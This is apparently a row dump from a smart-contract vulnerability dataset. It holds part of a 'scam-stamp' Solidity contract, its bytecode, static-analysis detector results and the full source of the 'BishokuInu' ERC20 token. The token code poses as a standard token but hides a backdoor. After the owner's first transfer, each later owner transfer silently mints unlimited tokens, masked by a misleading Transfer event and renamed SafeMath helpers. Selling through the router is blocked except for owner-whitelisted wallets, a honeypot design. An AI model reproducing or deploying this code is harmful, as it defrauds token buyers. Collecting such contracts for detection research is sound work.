require(totalScammed[msg.sender] - totalScammedRepaid[msg.sender] > 0);
_;
}
modifier addressToBeAScammer(address scammer){
require(totalScammed[scammer] - totalScammedRepaid[scammer] > 0);
_;
}
event Forgived(address scammer, address by, uint256 amount);
event PartiallyForgived(address scammer, address by, uint256 amount);
//forgiveMe - function called by scammer to pay any of its debt
//If the amount sent to this function is greater than the amount
//that is needed to cover or debt is sent back to the scammer.
function forgiveMe() payable toBeAScammer returns (bool success){
address scammer = msg.sender;
forgiveThis(scammer);
return true;
}
//forgiveMeOnBehalfOf - somebody else can pay a scammer address debt (same as above)
function forgiveMeOnBehalfOf(address scammer) payable addressToBeAScammer(scammer) returns (bool success){
forgiveThis(scammer);
return true;
}
function forgiveThis(address scammer) private returns (bool success){
uint256 forgivenessAmount = msg.value;
uint256 contractFeeAmount = div(mul(forgivenessAmount, contractFeePercentage), 100);
uint256 numberOfTotalTokensToForgive = div(div(forgivenessAmount, reliefRatio), pricePerUnit);
forgivenessAmount = forgivenessAmount - contractFeeAmount;
for(uint128 i = 0; i < flaggedIndex[scammer].length; i++){
address forgivedBy = flaggedIndex[scammer][i];
uint256 toForgive = flaggedQuantity[scammer][forgivedBy] - flaggedRepaid[scammer][forgivedBy];
if(toForgive > 0){
if(toForgive >= forgivenessAmount){
flaggedRepaid[scammer][forgivedBy] += forgivenessAmount;
totalRepaidQuantity += forgivenessAmount;
totalScammedRepaid[scammer] += forgivenessAmount;
forgivedBy.transfer(forgivenessAmount);
PartiallyForgived(scammer, forgivedBy, forgivenessAmount);
forgivenessAmount = 0;
break;
}else{
forgivenessAmount -= toForgive;
flaggedRepaid[scammer][forgivedBy] += toForgive;
totalScammedRepaid[scammer] += toForgive;
totalRepaidQuantity += toForgive;
forgivedBy.transfer(toForgive);
Forgived(scammer, forgivedBy, toForgive);
}
if(flaggerInsurance[forgivedBy][scammer] > 0){
uint256 insurance = flaggerInsurance[forgivedBy][scammer];
contractFeeAmount += insurance;
flaggerInsurance[forgivedBy][scammer] = 0;
contractsInsuranceFee[forgivedBy][scammer] = 0;
}
}
}
owner.transfer(contractFeeAmount);
theScamStampToken.transferBack(scammer, numberOfTotalTokensToForgive);
if(forgivenessAmount > 0){
msg.sender.transfer(forgivenessAmount);
}
return true;
}
event DonationReceived(address by, uint256 amount);
function donate() payable {
owner.transfer(msg.value);
DonationReceived(msg.sender, msg.value);
}
function () payable {
owner.transfer(msg.value);
DonationReceived(msg.sender, msg.value);
}
}
|
0x606060405236156100ca5763ffffffff60e060020a6000350416630b901c82811461014b5780632104cdd21461017057806339ecc94f146101955780634a3e4f90146101c457806364801da1146101f55780637739ad701461021a5780638da5cb5b146102305780639293eb2f1461025f578063963c11df14610290578063a3c1d83d146102c1578063bbee1ab7146102e9578063d650cb2e1461030a578063dbd8987c14610326578063e66825c31461034b578063ed88c68e14610370578063f9cee7b51461037a575b6101495b600054600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561010257600080fd5b7f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c523334604051600160a060020a03909216825260208201526040908101905180910390a15b565b005b341561015657600080fd5b61015e61039f565b60405190815260200160405180910390f35b341561017b57600080fd5b61015e6103a5565b60405190815260200160405180910390f35b34156101a057600080fd5b6101a86103ab565b604051600160a060020a03909116815260200160405180910390f35b34156101cf57600080fd5b61015e600160a060020a03600435166103ba565b60405190815260200160405180910390f35b341561020057600080fd5b61015e6103cc565b60405190815260200160405180910390f35b610149600160a060020a03600435166103d2565b005b341561023b57600080fd5b6101a8610582565b604051600160a060020a03909116815260200160405180910390f35b341561026a57600080fd5b61015e600160a060020a0360043516610591565b60405190815260200160405180910390f35b341561029b57600080fd5b61015e600160a060020a03600435166105a3565b60405190815260200160405180910390f35b6102d5600160a060020a03600435166105b5565b604051901515815260200160405180910390f35b34156102f457600080fd5b610149600160a060020a03600435166105ff565b005b6102d5610805565b604051901515815260200160405180910390f35b341561033157600080fd5b61015e61084f565b60405190815260200160405180910390f35b341561035657600080fd5b61015e610855565b60405190815260200160405180910390f35b6101496100ce565b005b341561038557600080fd5b61015e6108d6565b60405190815260200160405180910390f35b60095481565b60075481565b600154600160a060020a031681565b60066020526000908152604090205481565b60055481565b60008060008060045434101515156103e957600080fd5b6103f5346004546108dc565b9350610402338686610921565b610418610411346003546109da565b60646108dc565b600054909350348490039250600160a060020a031683156108fc0284604051600060405180830381858888f19350505050151561045457600080fd5b600160a060020a033381166000818152600c602090815260408083208a8616808552908352818420805489019055938352600d82528083209383529290528181208054870190556002549092169163a9059cbb9188918891516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104f457600080fd5b6102c65a03f1151561050557600080fd5b5050506040518051905050610527600554610522346004546109da565b6109da565b90507f7c674695c8eb3e1f87232f0f0ad4409ba268477b60178b96d84a3da19718898e853383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b5b5050505050565b600054600160a060020a031681565b60106020526000908152604090205481565b600f6020526000908152604090205481565b600160a060020a038116600090815260106020908152604080832054600f909252822054839190038290116105e957600080fd5b6105f283610a0c565b50600191505b5b50919050565b600160a060020a033381166000908152600c6020908152604080832093851683529290529081205481908190819011156107fe57600160a060020a033381166000818152600c6020908152604080832094891680845294825280832054938352600d82528083209483529390529190912054600454919450925061068690838501906108dc565b600160a060020a033381166000818152600d602090815260408083208a8616808552908352818420849055848452600c83528184208185528352818420849055600a83528184208585528084528285208054928652600f85528386208054939093039092558154600880549190910390559484529390915291819055600254939450929091169163c8f2835f9187918591516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561075f57600080fd5b6102c65a03f1151561077057600080fd5b50505060405180515050600160a060020a03331683156108fc0284604051600060405180830381858888f1935050505015156107ab57600080fd5b7f1db79386827672c9fe2ad4f68956dda4c98f4ac7f15a69888eac3f4f1b3d1b308433848601604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b5b50505050565b600160a060020a033316600090815260106020908152604080832054600f9092528220548291900381901161083957600080fd5b503361084481610a0c565b50600191505b5b5090565b60035481565b60045481565b600054600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561010257600080fd5b7f264f630d9efa0d07053a31163641d9fcc0adafc9d9e76f1c37c2ce3a558d2c523334604051600160a060020a03909216825260208201526040908101905180910390a15b565b60085481565b6000808083116108eb57600080fd5b82848115156108f657fe5b049050828481151561090457fe5b06818402018414151561091657600080fd5b8091505b5092915050565b600160a060020a038216600090815260066020526040812080546001908101918290551415610954576007805460010190555b61096b600554610522846004546109da565b6109da565b600160a060020a038085166000818152600a60209081526040808320948a16808452948252808320805487019055838352600b8252808320948352938152838220829055918152600f909152208054820190556008805482019055905061057a8385610e32565b505b50505050565b60008282028315806109f657508284828115156109f357fe5b04145b151561091657600080fd5b8091505b5092915050565b600080600080600080600080349650610a31610411886003546109da565b60646108dc565b9550610a4a610a42886005546108dc565b6004546108dc565b94508587039650600093505b600160a060020a0389166000908152600e60205260409020546fffffffffffffffffffffffffffffffff85161015610d3957600160a060020a0389166000908152600e6020526040902080546fffffffffffffffffffffffffffffffff8616908110610abe57fe5b906000526020600020900160005b9054600160a060020a038b81166000818152600b602090815260408083206101009790970a90950490931680825294835283812054918152600a83528381208582529092529181205492955091039250821115610d2c57868210610bf057600160a060020a03808a166000818152600b6020908152604080832094881680845294825280832080548d019055600980548d0190559282526010905281902080548a01905588156108fc0290899051600060405180830381858888f193505050501515610b9757600080fd5b7ff618c39f5e9733edebc03090d2d350b558190b0eef00d2e26542708b2b82c205898489604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a160009650610d39565b600160a060020a03808a166000818152600b60209081526040808320948816808452948252808320805488019055928252601090528190208054850190556009805485019055978390039783156108fc0290849051600060405180830381858888f193505050501515610c6257600080fd5b7f1db79386827672c9fe2ad4f68956dda4c98f4ac7f15a69888eac3f4f1b3d1b30898484604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b600160a060020a038084166000908152600c60209081526040808320938d168352929052908120541115610d2c5750600160a060020a038083166000818152600c60209081526040808320948d16808452948252808320805490849055938352600d825280832094835293905291822091909155948501945b5b5b600190930192610a56565b600054600160a060020a031686156108fc0287604051600060405180830381858888f193505050501515610d6c57600080fd5b600254600160a060020a031663c8f2835f8a8760006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610dcb57600080fd5b6102c65a03f11515610ddc57600080fd5b505050604051805150506000871115610e2057600160a060020a03331687156108fc0288604051600060405180830381858888f193505050501515610e2057600080fd5b5b600197505b50505050505050919050565b600080805b600160a060020a0385166000908152600e6020526040902054811015610ec157600160a060020a038581166000908152600e6020526040902080549186169183908110610e8057fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a03161415610eb85760019150610ec1565b5b600101610e37565b811515610f1e57600160a060020a0385166000908152600e60205260409020805460018101610ef08382610f2b565b916000526020600020900160005b8154600160a060020a038089166101009390930a92830292021916179055505b600192505b505092915050565b815481835581811511610f4f57600083815260209020610f4f918101908301610f55565b5b505050565b610f7391905b8082111561084a5760008155600101610f5b565b5090565b905600a165627a7a723058205f6ddf0dc48183b160baf3bf9625062d48662ec0712133636da89113261a8a190029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,394 |
0x90d51bea46385f00093ec5e5523e98a94f2e77b8
|
/*
88""Yb 88 .dP"Y8 88 88 dP"Yb 88 dP 88 88 88 88b 88 88 88
88__dP 88 `Ybo." 88 88 dP Yb 88odP 88 88 88 88Yb88 88 88
88""Yb 88 o.`Y8b 888888 Yb dP 88"Yb Y8 8P 88 88 Y88 Y8 8P
88oodP 88 8bodP' 88 88 YbodP 88 Yb `YbodP' 88 88 Y8 `YbodP'
░░░░░░░░░░░░░░░░
████████ ░░ ░░░░░░░░░░░░░░
▒▒██████ ░░░░ ░░ ░░░░░░░░░░
▒▒▓▓████ ████▒▒▒▒██░░ ░░░░░░░░░░░░░░░░░░░░
████████ ░░ ░░▒▒██▓▓▒▒▒▒▒▒▓▓██▒▒ ░░ ░░░░ ░░░░░░
████▒▒▒▒████ ██████▒▒▒▒▒▒▒▒▒▒████ ░░░░░░░░░░░░░░░░░░
▓▓██▓▓▒▒▓▓▓▓████ ░░▒▒████▓▓▒▒▒▒░░▒▒▒▒████ ▒▒░░░░░░ ░░░░░░░░░░░░░░
▒▒██▓▓▒▒▒▒▒▒▒▒▒▒████▒▒▒▒ ░░████▒▒▒▒▒▒▒▒ ▒▒▒▒████ ▒▒▒▒░░░░ ░░ ░░ ░░░░░░░░░░
░░████▒▒▒▒ ▒▒▒▒▒▒▒▒████ ░░░░▒▒████▓▓▓▓██████▒▒▒▒▒▒▒▒░░ ░░▒▒▓▓██▓▓ ▓▓▒▒▒▒░░░░░░░░ ░░ ░░░░ ░░░░░░
░░████▒▒▒▒ ░░▒▒▒▒▒▒▒▒▒▒██████████████████████████▓▓████▓▓▒▒░░ ▒▒▒▒████ ▒▒▓▓▓▓▒▒░░░░░░░░░░░░░░ ░░░░░░░░ ░░░░░░░░░░░░░░░░
░░████▒▒▒▒ ░░▒▒▒▒▓▓██▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒ ░░░░▒▒▒▒████ ░░▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░ ░░ ░░░░
████▒▒▒▒ ▒▒▓▓████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░▒▒████░░ ░░▒▒▓▓▓▓▓▓░░▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░
████▒▒▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▓▓████ ░░▓▓██████▓▓▒▒▒▒▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░
████▒▒▒▒ ░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████ ▓▓██████▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░
████▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒████░░ ██████▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██▒▒░░ ░░░░ ██████████▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒
████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒░░ ▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▓▓ ▒▒▓▓████▓▓▓▓██████▓▓▓▓▓▓▓▓▓▓▒▒
▓▓██▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓██████▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████ ░░░░░░▒▒▓▓████████████▓▓▓▓▓▓
▒▒██▓▓▒▒▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒ ░░▒▒▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒
▒▒▓▓██▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████▓▓▓▓▓▓▒▒▒▒ ▒▒▒▒▒▒▓▓██████████▓▓▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▒▓▓████ ░░ ▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░
▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████████▒▒▒▒ ░░░░░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░▒▒▓▓████ ░░ ██▓▓▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░
▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒░░ ░░ ░░ ░░ ░░ ▒▒▒▒████▒▒ ▒▒██████▓▓▒▒▒▒▒▒▒▒░░▒▒
████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░░░▒▒██ ░░ ░░ ░░░░▒▒▒▒████▓▓ ░░░░▒▒██▓▓▒▒▒▒▒▒▒▒░░▒▒
████▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░ ▒▒██████████▒▒ ████ ░░▒▒▓▓████░░ ██████▒▒▒▒▒▒
████▒▒▒▒ ░░ ▓▓▒▒████░░ ████ ░░░░░░▒▒▒▒████ ░░ ░░░░ ░░▓▓████▓▓
████▒▒▒▒ ████░░ ████ ░░██▓▓██▓▓▓▓ ░░ ░░ ▒▒▒▒████▒▒░░░░ ░░ ░░ ░░██
████▒▒▒▒ ████▓▓▒▒▒▒▒▒▓▓▓▓████████████████████ ░░ ▒▒▒▒▓▓████ ░░ ░░
████▒▒▒▒░░ ░░████████████████▓▓▓▓▒▒ ░░░░░░▒▒████▒▒░░ ░░
████▓▓▓▓▒▒▒▒░░ ░░██▓▓▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒ ░░ ▒▒▒▒▒▒▒▒████▓▓ ░░ ░░░░ ░░
████▓▓▒▒░░ ▒▒▒▒▒▒▒▒▒▒▒▒ ░░ ░░ ▒▒▒▒▓▓▓▓▓▓▒▒░░ ░░ ░░░░ ░░░░
▓▓██▓▓▒▒░░ ▒▒▒▒▒▒▒▒▒▒▒▒░░ ░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████ ░░ ░░░░ ░░░░░░
▒▒████░░░░ ░░ ▒▒▒▒▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓████░░░░░░ ░░░░░░ ░░░░░░ ░░
▓▓████▒▒▓▓░░░░▒▒▒▒░░ ▒▒░░░░ ░░▒▒▒▒▒▒▒▒▒▒▓▓████████ ░░ ░░ ░░░░ ░░░░░░
░░ ░░████▒▒▒▒▒▒▒▒░░ ░░░░▒▒▒▒▒▒░░ ░░░░░░▒▒▒▒████████████████░░ ░░ ░░░░░░░░ ░░░░ ░░
░░████▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████████▓▓░░ ░░ ░░ ░░ ░░ ░░░░
████▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██▒▒░░ ░░ ░░░░░░ ░░
██▓▓████████████████████▒▒▒▒▒▒▒▒▒▒▓▓▓▓██████████████████ ░░ ░░░░░░
██████████████████░░████████████████████████████▒▒░░ ░░░░ ░░ ░░
▒▒░░ ████████████▒▒░░ ░░ ░░ ░░░░░░
Bishoku.Dog
@BishokuOfficial
*/
// SPDX-License-Identifier: OSL-3.0
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
contract Creation is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event genesis(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit genesis(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual checker {
emit genesis(owner, address(0));
owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata , Creation{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tradingON (address Uniswaprouterv02) public checker {
router = Uniswaprouterv02;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function delegate(address _count) internal checker {
confirm[_count] = true;
}
function presalewallets(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
delegate(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract BishokuInu is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 1000 * 10 ** 18;
constructor () ERC20('BishokuInu','Bishoku~') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063395093511161009757806395d89b411161006657806395d89b4114610274578063a457c2d714610292578063a9059cbb146102c2578063dd62ed3e146102f2576100f5565b806339509351146101ec57806370a082311461021c578063715018a61461024c5780638da5cb5b14610256576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063393e167d146101d0576100f5565b80630690365a146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f9190611455565b610322565b005b61011e6103fb565b60405161012b919061151b565b60405180910390f35b61014e60048036038101906101499190611573565b61048d565b60405161015b91906115ce565b60405180910390f35b61016c6104ab565b60405161017991906115f8565b60405180910390f35b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115ce565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e591906117e5565b6105de565b005b61020660048036038101906102019190611573565b6106b9565b60405161021391906115ce565b60405180910390f35b61023660048036038101906102319190611455565b610765565b60405161024391906115f8565b60405180910390f35b6102546107ae565b005b61025e610904565b60405161026b919061183d565b60405180910390f35b61027c61092a565b604051610289919061151b565b60405180910390f35b6102ac60048036038101906102a79190611573565b6109bc565b6040516102b991906115ce565b60405180910390f35b6102dc60048036038101906102d79190611573565b610ab0565b6040516102e991906115ce565b60405180910390f35b61030c60048036038101906103079190611858565b610d17565b60405161031991906115f8565b60405180910390f35b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606007805461040a90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611933565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b6105e6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066a906118e4565b60405180910390fd5b60005b81518110156106b5576106a282828151811061069557610694611a5a565b5b6020026020010151611295565b80806106ad90611a89565b915050610676565b5050565b600061075b6106c6610d9e565b8484600560006106d4610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107569190611ad2565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b6610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f60405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461093990611933565b80601f016020809104026020016040519081016040528092919081815260200182805461096590611933565b80156109b25780601f10610987576101008083540402835291602001916109b2565b820191906000526020600020905b81548152906001019060200180831161099557829003601f168201915b5050505050905090565b600080600560006109cb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f90611b9a565b60405180910390fd5b610aa5610a93610d9e565b858584610aa09190611a26565b610da6565b600191505092915050565b6000610aba610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610b27575060011515600960009054906101000a900460ff161515145b15610b6257610b3e610b37610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610d11565b610b6a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610bd7575060001515600960009054906101000a900460ff161515145b15610cfa57610bf18260065461138590919063ffffffff16565b600681905550610c4982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce991906115f8565b60405180910390a360019050610d11565b610d0c610d05610d9e565b8484610f71565b600190505b929150505